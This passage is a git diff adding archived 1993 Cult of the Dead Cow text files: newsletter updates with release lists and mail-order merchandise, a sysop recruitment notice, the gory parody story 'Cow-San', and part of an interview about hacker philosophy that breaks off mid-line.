Higgledy-Piggledy-Big-Fat-Henacious- + Mega-Mackadocious You-Can't-Even-Come-Close-So- + Jump-Back-K-B00MIDY-B00MIDY-B00M File Swamp Ratte' +201. One Wrong Move The Deth Vegetable +202. Monster Jennifer, or Celibacy Can Kill You Omega +203. The Briefing Reid Fleming +204. Life in General Video Vindicator +205. That Which Strikes Terror Into the Hearts of Men Lady Carolin +206. The Power of Art THE NIGHTSTALKER +207. F23 Obscure Images +208. A Visit to the Slaughterhouse Transderm-Nitro +209. Helmet Interview: July 17, 1992 G.A. Ellsworth +210. My Shit, and How to Strangle It Tequila Willy +211. Point of No Return Dave Ferret +212. The Krill File O.H. Krill +213. Smurf Impalement Tequila Willy +214. How to Break the Law Anonymous +215. Me As TV Franken Gibe +216. Amazingly True Things #2 Swamp Ratte' +217. Life in Wartime The Deth Vegetable +218. The Media and Campaign 1992 Lewis & Morgan +219. Sebadoh Interview: March 3, 1992 G.A. Ellsworth +220. A Child's Garden of Curses Lady Carolin +221. Sickness Franken Gibe +222. A Day in the Life of Debbie G1bs0n The Madwoman +223. The B!G Envelope Stuffing Scam Hanover Fiste +224. The Bird Obscure Images +225. Tequila Willy's Position Paper Reid Fleming & Omega +226. Simple Cryptology Dave Ferret +227. Big Ol' Heaping Pile of Shit Suicidal Maniac +228. ISDN: Fucking the Vacuum Cleaner Attachments Reid Fleming +229. The Evil Truth About Peter Pan Lady Carolin +230. The 2:00 O'Clock Bus Tequila Willy & +231. Sunday Night Inside the Net Obscure Images +232. Fred, the Boy Everyone Hated Allen Williams +233. Desert Road Dick Disaster Lady Carolin & + Renee O'Willsie +234. Hybrid Vigor Curtis Yarvin +235. Somethin' Franken Gibe +236. Easy Rider II Erik Radmall +237. The Fart of War Havok Halcyon +238. Clubbing Xibo (Mr. Coates) +239. Truckin' an' Fuckin' Omega +240. Condors, Ganja, Rah Rah Rah! Clifton Royston & kEvin + Bambi the Usurper + +Also: cDc Global Domination Updates #1-13 Swamp Ratte' + The cDc compilations: volumes one-three Swamp Ratte' + [Apple II] + +EOF + diff --git a/textfiles.com/groups/CDC/cdckc0w.txt b/textfiles.com/groups/CDC/cdckc0w.txt new file mode 100644 index 00000000..857424ac --- /dev/null +++ b/textfiles.com/groups/CDC/cdckc0w.txt @@ -0,0 +1,65 @@ + +FILENAME: CDCKC0W.TXT + +April 1, 1993 + +HEY, SYSOPS! + +Join the K-C0W PHORCE and run an Official cDc Global Domination Factory Direct +Outlet! Be a cheerleader for The cDc Way and get the files out! There is +nothing more noble you can do as a sysop than running a Factory Direct Outlet +(that doesn't involve crippled children.)! So jump on it and let's go! + +What it is: K-C0W PHORCE is the group of sysops who run cDc Outlet boards. +It's not the same as cDc communications. cDc wants to make our files as widely +available as possible, so we started the Factory Direct Outlet (FDO) thing. + +What FDO sysops should do: Make the cDc files available, old and new. Past +t-files are packed into ZIP archives in groups of 25, which currently range +from CDCV1.ZIP - CDCV9.ZIP (#1-225). New releases come in ZIP archives with +filenames like CDCx_93.ZIP, where "x" indicates the # of the release for the +year. For example, CDC493.ZIP would be the 4th release of 1993. All the files +need to be in a no-u/d-ratio directory for users to grab. It would probably be +good if you had the 25-file-ZIP-packs online instead of just individual files +for less hassle when downloading. + +How to get the releases: The ZIP archives of old and new releases will be on +The Polka AE (806/794-4362, Entry:KILL) in Volume 2 first. Someone in cDc may +upload new releases to your board, but don't count on it. That's why sysops +should call The Polka AE once a month to check for new releases and download +the ZIP packs containing all the new files. The Polka AE is an easy and +hassle-free system, so calls should not take long. + +Or, if you've got access to the Internet, you can get the files by FTP from +zero.cypher.com. This would be cheaper and faster, especially for non-US +people. + +What do sysops get out of it?: First off, you'll get the satisfaction of +providing free information to people who want it. You also get a full-screen +ASCII BBS ad in all future cDc ZIP release packs which will go all over the +place. There's a message base on Demon Roach Underground BBS for FDO sysops +too. + +How do you get involved?: Are you running a full-time, reliable board? Can you +set up a no-u/d-ratio file transfer area? Good deal. Call The Polka AE or +send Internet mail to S. Ratte and upload your full-screen ASCII BBS ad. No +cow heads or over-the-top cDc hype in the ad, please; leave that to the cDc +boards. A line about "cDc Global Domination Factory Direct Outlet - it's got +'em all" would be good, it's up to you. Either in the ad itself or in a +separate note, make sure to give your sysop handle for keeping-organized +purposes. NOTE: This is not the same as running a cDc board. To avoid +confusion, make sure you don't just say "cDc comm." in your ads on on the +board... or when signing your handle or anything like that. Like it says +above, stick with the "Global Domination Factory Direct Outlet" and everybody +will be happy. + +That's it! From then on it's up to you, The Responsible Sysop, to keep up with +new cDc releases and their propagation in your area. Spread the word, get +everyone involved, and let's go go go! + +S. Ratte' +sratte@cypher.com or sratte@mindvox.phantom.com +cDc/Editor and PhEar13zz L3@DeRrr + +EOF + diff --git a/textfiles.com/groups/CDC/cdcup12.txt b/textfiles.com/groups/CDC/cdcup12.txt new file mode 100644 index 00000000..e80f3be8 --- /dev/null +++ b/textfiles.com/groups/CDC/cdcup12.txt @@ -0,0 +1,173 @@ + + _ _ + ((___)) + [ x x ] cDc communications + \ / Global Domination Update + (' ') #12 - April 1st, 1993 + (U) +Est. 1986 + + New gNu NEW gnU new GnU nEW gNu neW gnu nEw releases for April, 1993: + + _________________________________/Text Files\_________________________________ + +221: "Sickness" by Franken Gibe. Paralyzed by thoughts. Rage! Fight! Dark! + +222: "A Day in the Life of Debbie G1bs0n" by The Madwoman. The pop idol faces +her arch enemy on the fields of ninja combat and in the arms of love. + +223: "The B!G Envelope Stuffing Scam" by Hanover Fiste. How to get money. +Make Sally Struthers proud of you. + +224: "The Bird" by Obscure Images. Story 'bout a sad guy who laughs at birds. +It's depressing. Oi's a kooky guy. + +225: "Tequila Willy's Position Paper" by Reid Fleming and Omega. Unknown to +most, Tequila Willy thew his hat in the ring for the 1992 presidential +election. Here's the paper detailing his positions on all the important +issues. Better luck in '96, eh? + +226: "Simple Cryptology" by Dave Ferret. Introductory guide to cryptology +which also includes a good list of other sources to look into. + +227: "Big Ol' Heaping Pile of Shit" by Suicidal Maniac. Buncha poems about +lots of things. Wacky. + +228: "ISDN: Fucking the Vacuum Cleaner Attachments" by Reid Fleming. Intended +for _Mondo 2000_, this file drops science about everyone's favorite future +phone system. + +229: "The Evil Truth About Peter Pan" by Lady Carolin. It's a whole mess of +things you and your puny little mind might not have noticed about this popular +kiddie (hah!) story. + +230: "The 2:00 O'Clock Bus" by Tequila Willy and Bambi the Usurper. Geriatric +porn with some doggy flavor. + + _____________________________/Other Stuff to Get\_____________________________ + +From: cDc communications/P.O. Box 53011/Lubbock, TX 79453 + +This is Swamp Ratte's stuff: + + All the cDc t-files on disk by mail, for convenience sake! Specify + MS-DOS or Apple II format 3.5" disks. $3.00 cash. + + cDc stickers! Same design as were flying around at HoHoCon, with the + scary-lookin' cow skull. k00l. Send a SASE and 50 cents for a dozen of + 'em (or just send a dollar). + + Weasel-MX tape! _Obvious_ 45-minute cassette. This is Swamp Ratte's + funk/punk-rock/hip-hop band. It's a mess, but fun. $3.00 cash. + + cDc hat! Yeah, get yer very own stylin' black baseball cap embroidered + with the cDc file-header-type logo on the front in white. This isn't the + foam-and-mesh cheap kind of hat; it's a "6-panel" (the hat industry term) + quality deal. Roll hard with the phat cDc gear. $15.00 plus a buck for + postage. + + _Swingin' Muzak_ compilation tape! An hour of rockin' tuneage from + Weasel-MX (all new for '93), Counter Culture, Acid Mirror, Truth or + Consequences, Grandma's V.D., and Sekrut Squirrel. Lotsa good, catchy, + energetic stuff for only $5.00 cash. + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +From: FNORD! Publications/2660 Trojan Dr. #912/Green Bay, Wisconsin 54304-1235 + +This is Obscure Images' stuff: + + FNORD! 'zine #1 & #4 - $2.00 Each + + Shoggoth 912 #1 - $0.75 + + For some snarly techno grooves, send away for the new tape from Green + Bay's finest (and only) technorave sensation, I OPENING! IO-Illumination + Demo Tape (7 songs of joy) - $5.00 + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +From: Freeside Orbital Data Network/ATTN:dFx-HoHoCon-cDc/11504 Hughes Road #124 + Houston, TX 77089 + +This is Drunkfux's stuff: + + HoHoCon '92 T-Shirts : Black : XL : Elite : Stylish : Dope : Slammin' + Only $15 + $2 shipping ($2.50 for two shirts). + Your choice of either "I LOVE FEDS" or "I LOVE WAREZ" on front, where + "LOVE" is actually a red heart, ala "I LOVE N.Y." or "I LOVE SPAM." + On the back of every beautimus shirt is... + + dFx & cDc Present + + HOHOCON '92 + + December 18-20 + Allen Park Inn + Houston, Texas + + HoHoCon '92 VHS Video : 6 Hours : Hilariously Elite : $18 + $2 Shipping + + Please make all checks payable to O.I.S. Free cDc sticker with every + order! w0w! + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +From: Bill's Shirt Thing/P.O. Box 53832/Lubbock, TX/79453 + +This is Franken Gibe's stuff: + + AIDS sucks! Order a catalog! Nifty t-shirts that make you happy. + Proceeds go to local AIDS Resource Center. Send a $0.29 stamp for the + cat'. + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +From: Teach Me Violence magazine/61 East 8th St./Suite 202/New York, NY 10003 + +This is The Pusher's stuff: + + Teach Me Violence 'zine: + Issue #1 (Mr. Bungle, COC, Murphy's Law) + Issue #2 (Helmet, Supertouch, Agnostic Front, American Standard) + Issue #3 (Faith No More, Chris Haskett, Cathedral, Iceburn, Venom) + $3.00 cash each + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +From: A Day In The Life Of.../P.O. Box 94221/Seattle, WA 98124 + +This is Lady Carolin's stuff: + + A Day In The Life Of... 'zine, free with two stamps. + + Bi-monthly contact list of girlie bands/grrrl bands/female vocalists. $1. + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + __________________________________/cDc Gnuz\__________________________________ + + "cDc: savin' trees in '93" + +Hiya once again, here's whassup: + +NEW Internet FTP site: zero.cypher.com. This is Drunkfux and Louis Cypher's +chilly-the-most deal. Login as "anonymous" and get all the cDc stuph fast fast +fast. + +NEW Official cDc Global Domination Factory Direct Outlets: +Cyberspace.Nexus +31-67-879307 [Belgium] +Mirrorshades BBS 903/668-1777 +The Ministry of Knowledge 401/043-3446 +The Crowbar Hotel 713/373-4031 + +We're always taking t-file submissions, so if you've got a file and want to +really get it out there, there's no better way than with cDc. Upload text to +The Polka AE, or my Internet address, or send disks or hardcopy to the cDc post +office box in Lubbock, TX. + +NEW updated CDCKC0W.TXT file. All the information for sysops to get going +running Factory Direct Outlets. It should be available from wherever you got +this Update. + +NEW CDCV9.ZIP is out containing cDc t-files 201-225. Factory Direct Outlet +sysops should get this and put it up on their systems. + +See ya in May. + +S. Ratte' +cDc/Editor and P|-|Ear13zz |_3@DeRrr +"We're into t-files for the girlies and money." + +Write to: cDc communications, P.O. Box 53011, Lubbock, TX 79453. +Internet: sratte@cypher.com, sratte@mindvox.phantom.com. + _____________________________________________________________________________ + diff --git a/textfiles.com/groups/CDC/cdcup13.txt b/textfiles.com/groups/CDC/cdcup13.txt new file mode 100644 index 00000000..d6d669ce --- /dev/null +++ b/textfiles.com/groups/CDC/cdcup13.txt @@ -0,0 +1,192 @@ + + _ _ + ((___)) + [ x x ] cDc communications + \ / Global Domination Update + (' ') #13 - July 1st, 1993 + (U) +Est. 1986 + +New gNu NEW gnU new GnU nEW gNu neW gnu nEw GNU NEw releases for July, 1993: + + _________________________________/Text Files\_________________________________ + +231: "Sunday Night Inside the Net" by Obscure Images. Angstful Generation +X'ers angstfully analyze antisocial aspirations. Analogies abound aplenty and +apply to arty asexuals and affected aardvarks. Ah. + +232: "Fred, the Boy Everyone Hated" by Allen Williams. Fred the Third +Grader... pushed over the edge by the playground monitor. Non-stop action! + +233: "Desert Road Dick Disaster" by Lady Carolin and Renee O'Willsie. This +file has to be a first of some sort. Renee O'Willsie is Tequila Willy's little +sister. Teamed up with cDc's only female member, Lady Carolin, the two go on a +castratin', whiskey-drinkin' rampage. Fuckin' A, d00d(ette). + +234: "Hybrid Vigor" by Curtis Yarvin. Antonio the Badger-Man fought the laws +of genetics for his true love, but lost the brutal race against time... and +DEATH!! Woah. + +235: "Somethin'" by Franken Gibe. More angstful action as day turns to night +and ain't nothin' gettin' clearer. + +236: "Easy Rider II" by Erik Radmall. A Harley-riding honey and a fat purple +dinosaur cruise into town. Strangers. Something's just BOUND to happen. + +237: "The Fart of War" by Havok Halcyon. A detailed story of one man's +gastronomical prowess. + +238: "Clubbing" by Xibo (Mr. Coates). Visit the biggest C&W club in Tuson for +a hootenanny. It's introspective. + +239: "Truckin' an' Fuckin'" by Omega. Yeehaw! White Knight the hard-drivin' +trucker goes for a swinging time with those zany wife swappers. + +240: "Condors, Ganja, Rah Rah Rah!" by Clifton Royston and kEvin. A new breed +of stoned super-condors swoop from the skies and attack the Rose Bowl-watching +sports enthusiasts! It's obviously a plot. + + _____________________________/Other Stuff to Get\_____________________________ + +From: cDc communications/P.O. Box 53011/Lubbock, TX 79453/sratte@cypher.com + +This is Swamp Ratte's stuff: + + All the cDc t-files on disk by mail, for convenience sake! Specify + MS-DOS or Apple II format 3.5" disks. $3.00 cash. + + cDc stickers! Same design as were flying around at HoHoCon, with the + scary-lookin' cow skull. k00l. Send a SASE and 50 cents for a dozen of + 'em (or just send a dollar). + + Weasel-MX tape! _Obvious_ 45-minute cassette. This is Swamp Ratte's + funk/punk-rock/hip-hop band. It's a mess, but fun. $3.00 cash. + + cDc hat! Yeah, get yer very own stylin' black baseball cap embroidered + with the cDc file-header-type logo on the front in white. This isn't the + foam-and-mesh cheap kind of hat; it's a "6-panel" (the hat industry term) + quality deal. Roll hard with the phat cDc gear. $15.00 plus a buck for + postage. An unsolicited quote from THE NIGHTSTALKER regarding his hat: + "The hat is really spiffy, and I know it'll be getting me the respect and + women I deserve! I feel SO elite!" Y0wZa. + + _Swingin' Muzak_ compilation tape! An hour of rockin' tuneage from + Weasel-MX (all new for '93), Counter Culture, Acid Mirror, Truth or + Consequences, Grandma's V.D., and Sekrut Squirrel. Lotsa good, catchy, + energetic stuff for only $5.00 cash. + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +From: FNORD! Publications/2660 Trojan Dr. #912/Green Bay, Wisconsin 54304-1235 + obscure@cypher.com + +This is Obscure Images' stuff: + + FNORD! 'zine #1 & #4 - $2.00 Each + + Shoggoth 912 #1 - $0.75 + + For some snarly techno grooves, send away for the new tape from Green + Bay's finest (and only) technorave sensation, I OPENING! IO-Illumination + Demo Tape (7 songs of joy) - $5.00 + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +From: HoHoCon/1310 Tulane, Box #2/Houston, TX 77008-4106/drunkfux@cypher.com + +This is Drunkfux's stuff: + + HoHoCon '92 T-Shirts : Black : XL : Elite : Stylish : Dope : Slammin' + Only $15 + $3 shipping ($4 for two shirts). + Your choice of either "I LOVE FEDS" or "I LOVE WAREZ" on front, where + "LOVE" is actually a red heart, ala "I LOVE N.Y." or "I LOVE SPAM." + On the back of every beautimus shirt is... + + dFx & cDc Present + + HOHOCON '92 + + December 18-20 + Allen Park Inn + Houston, Texas + + HoHoCon '92 VHS Video : 6 Hours : Hilariously Elite : $18 + $3 shipping + + Please make all checks payable to O.I.S. Free cDc sticker with every + order! Multiple orders just pay one shipping charge of $4. w0w! + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +From: Bill's Shirt Thing/P.O. Box 53832/Lubbock, TX/79453 + +This is Franken Gibe's stuff: + + AIDS sucks! Order a catalog! Nifty t-shirts that make you happy. + Proceeds go to local AIDS Resource Center. Send a $0.29 stamp for the + cat'. + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +From: Teach Me Violence magazine/61 East 8th St./Suite 202/New York, NY 10003 + +This is The Pusher's stuff: + + Teach Me Violence 'zine: + Issue #1 (Mr. Bungle, COC, Murphy's Law) + Issue #2 (Helmet, Supertouch, Agnostic Front, American Standard) + Issue #3 (Faith No More, Chris Haskett, Cathedral, Iceburn, Venom) + $3.00 cash each + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +From: A Day In The Life Of.../P.O. Box 94221/Seattle, WA 98124 + +This is Lady Carolin's stuff: + + A Day In The Life Of... 'zine, free with two stamps. + + Bi-monthly contact list of girlie bands/grrrl bands/female vocalists. $1. + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + __________________________________/cDc Gnuz\__________________________________ + + "cDc: Hype Is Fun" + +Hey! y0w! Here we go for July. This month marks cDc's 7th year of existence, +and we figure we've outlasted every other active group in the 'puter +underground. So |-|00-rAy for that. Watch for another release in mid-July... +just like DC Comix! EE. + +nEw cDc b0red: Metalland Southwest, sysoped by Drunkfux. 713/468-5802. +Reviving the esteemed "Metalland" name, good idea. Get the latest HoHoCon info +and plead to join The K-Rad ASCII Possee. + +gNu cDc b0red GNAME: Greenpeace has renamed his Finitopia board to Body +Electric which is up at 916/673-8412. s0 kaWl QUICK. + +The 0ffishule cDc Internet FTP site: zero.cypher.com. This is Drunkfux and +Louis Cypher's k-gnarly deal. Login as "anonymous" and get all the cDc stuph +fast Fast FAST! + +cDc Mailing list: Get on the ever-dope and slamagnifiterrific cDc mailing +list! Send mail to cDc@cypher.com and include some wonderlessly elite message +along the lines of, "ADD ME 2 DA MAILIN LIZT!!@&!" + +NEW Official cDc Global Domination Factory Direct Outlets: +Spineline/virtualscrewdriver 615/926-0399 +The Web 203/869-0938 +Lost Horizons 203/667-4953 +Purple Hell 806/791-0747 +The Pulsating Temple of STAN 508/371-9849 + +We're always taking t-file submissions, so if you've got a file and want to +really get it out there, there's no better way than with cDc. Upload text to +The Polka AE, or my Internet address, or send disks or hardcopy to the cDc post +office box in Lubbock, TX. + +Coming s00n: a FAQ file, a cDc BBS ad file, and more SNAZZY and FASCINATING +misquotes we like to attribute to cDc which you can say flippantly at parties +so as to seem WITTY and INTERESTING yourSELF. + +See ya, + +S. Ratte' +cDc/Editor and P|-|Ear13zz |_3@DeRrr +"We're into t-files for the girlies and money." +cDc and the K-C0W PHORCE: a brighter future, whiter whites, no static cling! + +Write to: cDc communications, P.O. Box 53011, Lubbock, TX 79453. +Internet: sratte@cypher.com, sratte@mindvox.phantom.com. + _____________________________________________________________________________ + + cDc Global Domination Update #13-by Swamp Ratte'-"Hyperbole is our business" + diff --git a/textfiles.com/groups/CDC/cow.san b/textfiles.com/groups/CDC/cow.san new file mode 100644 index 00000000..303f394c --- /dev/null +++ b/textfiles.com/groups/CDC/cow.san @@ -0,0 +1,219 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (' ') (' ') + (U) (U) + + Cow-San + + by Necrovore + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + +COW-SAN (Pronounced "Kow-Sahn") + + +"My prophecy upon this wasted earth and upon the corrupt creation that squats + upon its ruined surface is: THOU SHALT KILL." + + -from "Jehova on War" by Robert DeGrimston aka Christ + + + The sun dawned over Yokishawa, a small village in the northern reaches +of feudal Japan. Shimmering beams of light glanced off of the icy peaks of +Mount Fujiwara. These beams struck the hairless face of Okisama, a fat old +merchant of Yokishawa. With a sigh, Okisama stood up from his pallet and +rubbed his temples. A new day had begun. + + Okisama got dressed and ate his usual breakfast, a bowl of rice. He +then left his home for Shangsei, the merchant bazaar where he sold his wares. +Today he decided to try his hand at mechanical rice pickers, a new device +conceived by his first son, Shumiara. At present, all the rice of Japan was +picked by the peasant workforce. With this new invention, the peasants could +stop picking rice and do more productive things, like building new towns. + + As Okisama strode down Sumi street he saw an unusual thing, a bald man +in white robes. This man had skin brown from the sun and wore strange sandals. +Around his neck hung a small brown pouch. As Oki continued down the street, +it became apparent to him that he was being followed by the odd-looking bald +man. At long last Oki whirled around to confront the old man. "Who are you +and why are you following me, outlander?" said Okisama in Japanese. + + The old man said in broken Japanese, "I am Ghandivi, High Priest of the +Cult of the Dead Cow. I am following you because it is my fate." + Okisama cried, "Leave me be, smelly old man!" + The old man fondled the pouch at his neck and said, "That I cannot do; +it is my fate." In utter disgust Okisama turned his back and continued on his +path, looking over his shoulder every once in a while. He thought to himself +that the man's pouch smelled of vomit. + + As Okisama was nearing the Umiyama bridge he saw a large contingent of +armed warriors jogging in procession. He looked back. The old man was still +there. As he crossed the bridge he stepped to the side to avoid being run over +by the ruthless warriors. Ghandivi, being a stranger, was knocked into the +river by the procession. Okisama chuckled to himself, finally rid of the old +man. + + Later that day, while in the bazaar, Okisama smelled that familiar +vomit smell again. He had been rather unsuccessful at selling his son's +mechanical rice picker. "I'll buy one," said a rattled voice in broken +Japanese. Okisama whirled and say Ghandivi standing before him, a grin on his +face. + "Why do you keep following me?" said Okisama. + "It is..." started Ghandivi. + "Yeah, it's your fate. Well, fate on this!" cried Okisama as he belted +Ghandivi, who promptly doubled over, making gagging noises. "Now leave me be!" +screamed Okisama as he fled the bazaar for home. + + Along the way home he saw strange prints on the dusty road. Obviously, +they belonged to a four-legged beast, thought he. How odd. When Okisama +reached home he settled down in despair. He had sold no mechanical rice +pickers and had been dogged by some crazy old outlander. He lifted a cup of +spiced tea to his mouth. "Hello, most honorable dad," said Shumiara. Okisama +looked up to his sons' face and threw up. Shumiara's ears were long and pointy +now, not the way that they had been when he left this morning. + "What has happened to your ears, son?" uttered a shocked Okisama. + "Well, most honorable dad, I was making a few mods to my mechanical +rice picker when, um, it got a hold of my ears and, um, sort of pulled them." + Okisama said, "But why do you not yell in pain, my son? Does it not +hurt?" + "Oh no, most..." started Shumiara. + "Knock it off with that 'most honorable dad' stuff, most honorable +son." interrupted Okisama. + "Well, at first it did hurt. Blood spurted everywhere. I was +screaming. And then, I felt something warm and wet lap upon my torn ears. I +looked up and saw a strange looking beast licking my ears. 'It kinda mooed and +shit.' When it was done, my ears were unharmed - looking and were pointy, as +they are now." + "How unusual, I saw strange bestial tracks on the way home from the +bazaar," said Okisama. The two continued talking as they ordered out to +Domino's Rice for dinner. + + "That'll be fifty yen, bub," said the Domino's delivery man. + "Here you are, most honorable delivery man," uttered Okisama as he +handed the delivery man fifty yen. + "What? No tip? Well, I hope the Noid makes your rice cold!" + + Okisama slammed the rice paper door shut in utter disgust. Somewhere +off in the dark distance, he heard a strange noise. The father glanced at +Shumiara who said that it was of the same kind that he had heard earlier that +day. Okisama opened the rice paper door again and stared furtively out into +the darkness. He saw nothing. He closed the door and father and son began +eating rice. + + That night, after Shumiara had gone off to bed, Oki was reading the +Nippon Times by candlelight while in bed. Events repeated themselves as they +often do. There was a strange mooing sound off in the distance. Oki shuddered +in fear and looked towards the open window... blackness. He then went back to +reading the Nippon Times (a fine rice paper journal scribed in a strange red +substance (almost rust colored, in fact), not wholly unlike dried blood. A +scant few moments later Oki heard a scrambling outside his window. As he +leapt from under his covers he smelled a familiar scent, a scent of vomit. A +familiar bald head popped up. Oki screamed and fainted dead away. From else- +where in the house we hear, "Whadda ma-ma-matta, da-da-dada?!?" as Shumiara +scuttled into his most honorable father's room. He too screamed when he saw +the horrid visage of Ghandivi. + "It is my fate," uttered Ghandivi. Shumiara lapsed into blackness... + + When Oki awoke he found himself in his own private hell. Stretched +between two great bamboo poles was he. Below him was an immense vat of boiling +oil. Above him, whisps of smoke filtered out through a small opening in the +thatched roof. Where was he? + + "Ah, so you have awakened?" said a familiar voice. Oki swung his head +over and met the solemn gaze of Ghandivi. Again, Oki screamed. Ghandivi was +as he always was, save for one thing; he had the lower torso of a bovine +creature. Oki was sweating profusely. "Ah, poor merchant man of tyrannous +descent, why have I brought you here? Indeed, a question that most obviously +looms within the narrow confines of your mind at this very moment in time. +I am the High Priest of the Holy Order of the Dead Cow. In the beginning, +there was Cow. Now, that time has passed. Thus, the time is nigh to reinit- +iate the belief of Cow, to revive her essence, to convert the unfaithful!" +Okisama twitched nervously as Ghandivi continued his sermon. "I am to begin +the Revelations of The Bovine. I am Ghandivi, the Harbinger of Death!" + + Ghandivi began to stroll (if you can call it that) around the great vat +of bubbling oil. Oki coughed as noxious vapors wafted past his nose on their +ascent to the vast cosmos above. "Smile, Okisama, for you are the Chosen One. +You, and only you, shall be the first sacrifice to the Holy Cow. Your son, +on the other hand, shall be sacrificed before you to Thrax, Roach from Hell(!). +Smile, Oki, yes smile. It is a great honor we confer upon you." + + Ghandivi snapped his fingers and swatted a nearby fly with his hairy +tail. A rice paper door opened and two large men of Arabic descent ushered in +Oki's son, Shumiara. The men, garbed in robes blacker than the night sky, +roughly deposited Shumiara in a ruined mass before Ghandivi, the Exalted One. +"Yes, your son will meet one of the Holy Cow's enemies and perish. You shall +watch in ecstasy as he dies for Thrax. And then you, fat hong, shall die for +Cow; for Cow is Reality, and Reality is Death. You shall become the first +homorealis to stalk the vast, ectoplasmic cosmos." Again, the snap of fingers. + + The two Arabs silently lifted the unconscious form of Shumiara and tied +him to a pair of bamboo poles. Directly in front of his limp body was a grated +well. As soon as Shumiara was in place, Ghandivi grinned and said, "Awaken +him." One of the two Arabs struck Shumiara with a hairy fist. The resounding +thud of impact almost echoed throughout the secret temple. Shumiara moaned, +and the arab hit him again, this time with a backhand. Shumiara groaned as he +opened his eyes. Blood ran from his puffed lips. At this time Oki began to +whimper. "Silence!" howled Ghandivi. The two Arabs joined Ghandivi at the +far side of the chamber. "Let the ceremonies begin! Joy, Okisama, feel the +heartfelt joy as Thrax is satisfied!" + + About this time a strange scuttling could be heard. In mere moments, +thousands of roaches began pouring outwards from the grated well, swarming onto +the body of Shumiara. Screams filled the night air bringing chill to the heart +of Oki. Roaches clambered all over the boy's body and fed upon his flesh. +Blood began to flow. The ravenous insects crawled into his ears and ate at his +brain. They crawled into his pants and devoured at his membranous member. +They entered his body through passages not meant to be. Shumiara's abdomen +burst open. Thousands of roaches, their soft carapaces covered in blood, +flowed outwards; a stream for Thrax. The roaches began to strip Shumiara's +dead body of its flesh. Oki began to cry out in anguish as his son was +devoured. Ghandivi smiled in pleasure. The Arabs looked on grimly. In mere +minutes, a damp skeleton hung where once hung Shumiara, the son of Okisama. +Oki retched violently. Vomit spewed forth into the hot oil causing great gusts +of putrid smoke to rise. The roaches disappeared back into their insectoid +hell. Okisama, vomit still dribbling down his hairless chin, moaned, "Ah God, +why..urp..me?" + + "Hah. Why YOU? Because you are what I term to be a crucifictionist. +You will gladly crucify others, so to speak, to help yourself. That is +unacceptable. Thus, you have been chosen for sacrifice to the Cow. She will +chew upon her cud as she watches you die for Her." intoned Ghandivi. "Now, let +the joyous celebrations of Cow begin!" + + With that, the two Arabic men strode towards Oki, who, at the sight of +them approacing, screamed once more. During his vocal ensemble, Oki retched +again. This time, more violently then before. His stomach contents flew +forth, embracing the putrid air of the secret temple. Ghandivi laughed +maniacally. The two Arabic servants snickered. When they reached their +destination, the poles upon which Oki was bonded; the men unsheathed their +tulwars and swung them around in anticipation of the events soon to begin. +Ghandivi clapped his hands twice. The sharp blades struck the thongs that held +Okisama suspended above the vat of boiling oil. Oki screamed as he fell down- +wards into the bubbling inferno of the iron vat. The screams ended as abruptly +as they began. Oki's flesh melted, separated from his bone by the heated oil. +Hair came off in mats from his head and floated in the turbulent oil for mere +seconds before it burned up. The oil bubbled violently as the body of Oki was +burned into nothingness. Final peace. + + + This file is dedicated to the Process Church of the Final Judgement, a + bunch a English death freaks who tried, and yet, failed. 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Actually the first e-zines as +now they're called, and although we were +involved with the computer underground we +weren't the same as other hackers. It sort +of evolved to the point where it is today +where it's still today our primary focus +isn't necessarily technical. We have a lot +of like social aims, social activity, but we +also have.. there's the technical aspect. + +CORBIN +What's the philosophy of Cult of the Dead +Cow? + +DETH VEGGIE +Well one of our primary functions is, is we +try to bring information to people that they +normally wouldn't ever see from other +channels. We publish a lot of text files, a +lot of them are not at all technical but not +anything that you're likely to find from +other sources. We basically like to +challenge people's thought ideas and make +them think in new ways. + +CORBIN +And hacking, what's the appeal? + +DETH VEGGIE +well I mean if you consider hacking to be the +manipulation of a system to make it do +something, you know, basically you can hack +anything. It doesn't have to apply +specifically to computers. You can hack +electronics, media, information, there's +social hacking, and basically it's a certain +amount of power. I mean you can make +something do something that it wasn't +intended to do. + +CORBIN +And that's the appeal of it? + +DETH VEGGIE +It's certainly part of the appeal. It's the +modern exploration you know. + +SIR DYSTIC +I think for me I consider a hacker to be +anyone who takes something apart and puts it +back together better, and currently it seems +like the output, the aspect that it takes is +computer hacking but historically there's +always been people with that sort of mindset +or attitude, we can start like people who I +consider to be of the hacker mindset like +Benjamin Franklin or Aristotle, people like +that, you know, they basically did things +their own way. + +CORBIN +Okay, you've obviously explained that hacking +can apply to different fields and not just +computers, but obviously computers is what +we're talking about here today, and Sir +Dystic you know when you go on line, when you +hack, for want of a better word, that's the +word we're using, what do you feel? I mean +what do you get out of it? What's the appeal +of it? + +SIR DYSTIC +Well like I said, it's a form of exploration. +You're trying to, you know, you're exploring +ideas or computer systems rather than you +know, geographical land, but it's still the +idea of being able to go into something and +find new things that nobody else has +discovered yet before in the sense of hacking +being breaking into computers certainly a lot +of people do it because they're going into +places that they wouldn't normally be +allowed. + +CORBIN +And the world at large finds it frightening +the idea of people hacking into their +systems? + +SIR DYSTIC +People are frightened by pretty much anybody +who can do something that they can't and they +don't understand. + +DETH VEGGIE +I also think that it's important to see that +the danger isn't from hackers in terms of +kids. The danger in terms of computer +security are from aspects like organised +crime or espionage, things like that. The +danger is not from hackers like Sir Dystic or +myself, or even just other kids out there. + +CORBIN +You showed the way? + +DETH VEGGIE +The way was already out there. The people +already were aware of it. Another thing +about hackers is that they don't create the +whole, security holes, they basically just +find them and exploit them. + +SIR 